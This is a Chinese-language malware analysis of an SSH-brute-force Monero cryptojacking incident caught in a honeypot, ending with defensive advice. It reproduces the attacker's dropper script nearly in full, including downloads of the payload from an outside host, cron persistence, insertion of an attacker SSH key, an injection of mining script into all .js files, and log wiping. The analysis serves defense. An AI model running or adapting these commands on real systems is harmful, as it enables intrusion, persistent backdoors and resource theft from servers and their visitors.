當前位置:
首頁 > 新聞 > XMR惡意挖礦案例簡析

XMR惡意挖礦案例簡析

前言


數字貨幣因其技術去中性化和經濟價值等屬性,逐漸成為大眾關注的焦點,同時通過惡意挖礦獲取數字貨幣是黑灰色產業獲取收益的重要途徑。本文簡析通過蜜罐獲取的XMR惡意挖礦事件:攻擊者通過爆破SSH獲取系統許可權,配置root用戶免密登錄,並下載及執行XMR 挖礦程序,及XMR 網頁挖礦程序。XMR挖礦程序耗肉雞CPU/GPU資源,網頁挖礦程序耗訪問肉雞伺服器JS 網頁的客戶端資源 。



一、攻擊者獲取肉雞

1)SSH暴力破解


2018年10月11日,攻擊者使用惡意IP(223.89.72.8)暴力破解Victim的SSH服務成功,獲取系統賬號許可權。


2)關閉Victim的防火牆


通過暴力破解獲得的賬號登錄Victim並,進入工作目錄/tmp,並嘗試關閉主機防火牆。

root@victim:~#cd /tmproot@victim:~#/etc/init.d/iptables stoproot@victim:~#service iptables stoproot@victim:~#SuSefirewall2 stoproot@victim:~#reSuSefirewall2 stop

3)下載惡意腳本


命令Victim從Malware Server(140.143.35.89:43768)下載惡意文件shz.sh:

root@victim:/tmp#wget http://140.143.35.89:43768/shz.sh[4l--2018-10-11 19:07:34--  http://140.143.35.89:43768/shz.shConnecting to 140.143.35.89:43768... connected.HTTP request sent, awaiting response... 200 OKLength: 7470 (7K) [application/octet-stream]Saving to: `/tmp/shz.sh"58% [======================>                ] 4,380        41K/s  eta 0s100%[======================================>] 7,470        41K/s2018-10-* *:*:* (41 KB/s) - `/tmp/shz.sh" saved [7470/7470]

二、執行惡意腳本


獲取Victim肉雞許可權及下載惡意腳本後,命令Victim執行/tmp/shz.sh,下面簡析shz.sh的惡意行為。


1)開始執行

root@victim:/tmp#shshz.sh&

2)基本配置

獲取Victim的定時Crontab定時任務文件及內容,SSH登錄的公鑰,更改下載文件命令及變數定義等基本配置。

#!/bin/sh#Crontab定時任務(crontab -e)crondir="/var/spool/cron/""$USER"cont=`cat ${crondir}`#SSH登錄公鑰ssht=`cat /root/.ssh/authorized_keys`#自定義變數echo 1 > /etc/gmbprrtdir="/etc/gmbpr"bbdir="/usr/bin/curl"bbdira="/usr/bin/url"ccdir="/usr/bin/wget"ccdira="/usr/bin/get"#更改命令名稱mv /usr/bin/wget /usr/bin/getmv /usr/bin/curl /usr/bin/url

3)判斷賬號許可權(特殊許可權)


如果文件/etc/gmbpr存在,即被暴力破解的賬號有/etc寫許可權,一般root。設置工作目錄為/etc:

if [ -f "$rtdir" ]

3.1 定時任務+無密登錄

#將惡意腳本/etc/shz.sh加入系統crontab定時任務中[[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /etc/shz.sh >/dev/null 2>&1" >> ${crondir}#將攻擊者的SSH登錄公鑰加入authorized_key中,用於無密登錄ssh[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys

3.2 惡意挖礦的配置文件


如果配置文件/etc/com.json不存在,則從http://140.143.35.89:43768/com.json下載至/etc/com.json。

cfg="/etc/com.json"if [ -f "$cfg" ]    then        echo "exists config"    else        if [ -f "$bbdir" ]        then                curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/com.json > /etc/com.json        elif [ -f "$bbdira" ]        then                url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/com.json > /etc/com.json        elif [ -f "$ccdir" ]        then                wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/com.json        elif [ -f "$ccdira" ]        then                get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/com.json        fi fi

3.3 ELF挖礦主程序

從http://zjgw-1256891197.cos.ap-beijing.myqcloud.com下載惡意挖礦主程序zjgw至/etc。zjgw為elf格式的二進位文件。

if [ -f "$bbdir" ]    then        curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw > /etc/zjgw    elif [ -f "$bbdira" ]    then        url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw > /etc/zjgw        elif [ -f "$ccdir" ]    then        wget --timeout=10 --tries=100 -P /etc http://dwz.cn/hqCK3WKx    elif [ -f "$ccdira" ]    then        get --timeout=10 --tries=100 -P /etc http://dwz.cn/hqCK3WKxfi

3.4 運行惡意挖礦程序


挖礦程序zjgw+配置文件com.json:

chmod 777 zjgw#com.json配置文件中將unknow替換成字元${ip}sed -i "s/unknow/${ip}/g" com.json sleep 5s#執行挖礦程序./zjgw --config=com.json#清除命令日誌痕迹history -cecho > /root/.bash_history

3.5 下載並運行shz.sh腳本文件

shdir="/etc/shz.sh"if [ -f "$shdir" ]    then        echo "exists shell"    else        if [ -f "$bbdir" ]        then            curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh        elif [ -f "$bbdira" ]        then            url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh        elif [ -f "$ccdir" ]        then            wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh        elif [ -f "$ccdira" ]        then            get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh        fi        sh /etc/shz.shfi

4)判斷賬號許可權(普通許可權)


如果文件/etc/gmbpr不存在,即被暴力破解的賬號是常規用戶許可權,添加啟動腳本至Crontab定時任務中。設置工作目錄為/tmp:

[[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir}


4.1)下載配置文件com.json至/tmp


4.2)下載挖礦主程序zjgw至/tmp

4.3)運行惡意挖礦程序+配置文件(同3.4)


4.4)下載並運行惡意腳本/tmp/shz.sh(同3.5)


5)Monero Javascript網頁挖礦


在Victim全盤查找js文件,並插入網頁挖礦JS腳本document.write("");

find / -name "*.js"|xargs grep -L f4ce9|xargs sed -i "$adocument.write(""<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>");

6)清除痕迹


攻擊者清除攻擊日誌痕迹

echo > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_history

三、執行ELF挖礦程序


1)挖礦配置文件com.json


通過配置文件查看到XMR數字貨幣的挖礦演算法、挖礦地址和錢包地址等:

{ #XMR門羅幣的主要共識機制(挖礦演算法):cryptonight     "algo": "cryptonight",     "api": {         "port": 0,         "access-token": null,         "worker-id": null,         "ipv6": false,         "restricted": true     },     "av": 0,     "background": true,     "colors": true,     "cpu-priority": 5,     "donate-level": 1,     "log-file": null,     "max-cpu-usage": 90,     "pools": [         { #挖礦地址             "url": "stratum+tcp://xmr.f2pool.com:13531", #錢包地址             "user":  "46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX.unknow",            "pass": "x",             "keepalive": true,             "nicehash": false,             "variant": -1         }     ],     "print-time": 60,     "retries": 99999,     "retry-pause": 5,     "safe": false,     "syslog": false, }

2)挖礦主程序zjgw


zjgw為64為的elf二進位文件,VirusTal檢出功能包含了挖礦功能。



3)礦池及收益


截止當前,攻擊者惡意ELF程序使用f2pool礦池,上述錢包地址相關收益信息:



(1)164礦工正在線進行挖礦;


(2)共捕獲254礦工;


(3)此錢包地址總收益4.7XMR,按當前市場價格736RMB價格計算,約收穫3459RMB


(4)這些礦工,可能很多是攻擊者捕獲的肉雞;攻擊者也可能還有更多其他的錢包地址及肉雞礦工即進行獲益。



四、Monero Javascript網頁挖礦



在Victim全盤查找js文件,並插入網頁挖礦JS腳本document.write("");


1)curl -I

 

http://t.cn/EvlonFh;


短網址指向https://xmr.omine.org/assets/v7.js

HTTP/1.1 302 FoundDate: Mon, 15 Oct 2018 08:02:12 GMTContent-Type: text/html;charset=UTF-8Content-Length: 216Connection: keep-aliveSet-Cookie: aliyungf_tc=AQAAAN65sGSyOQcAihDut35iYAxQi2Sj; Path=/; HttpOnlyServer: nginxLocation: https://xmr.omine.org/assets/v7.js

2)curl

 

https://xmr.omine.org/assets/v7.js

javascript腳本文件,包含了礦池地址wss://xmr.ominie.org:8181:



3)omine礦池



4)隱藏後的錢包地址ID

OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")


5)收益


假設攻擊者的JS網頁挖礦與ELF程序挖礦使用的同一個錢包地址:46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX ,此處收益相對較少,有0.037個XMR。



五、小結

攻擊者通過SSH暴力破解獲取系統賬號後,一方面通過下載及運行ELF二進位挖礦程序,利用系統CPU/GPU資源進行XMR(門羅幣)挖礦;另一方面,通過在系統裡面的JS文件中插入JS網頁挖礦的代碼,利用遠程訪問系統JS網頁的客戶端資源進行XMR網頁挖礦。建議措施:



(1)賬號加固;


(2)系統資源、網路、進程監控;


(3)檢查系統是否有惡意資源濫用情況(ELF挖礦程序);


(4)檢查系統是否有惡意JS網頁挖礦腳本(網頁挖礦腳本);


(5)其他


*

本文作者:colinhe,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載






喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

明日首播 | 零基礎到百萬年薪,漫漫白帽從業路
如何在kali Linux上創建一個用於隱藏文件的加密容器?

TAG:FreeBuf |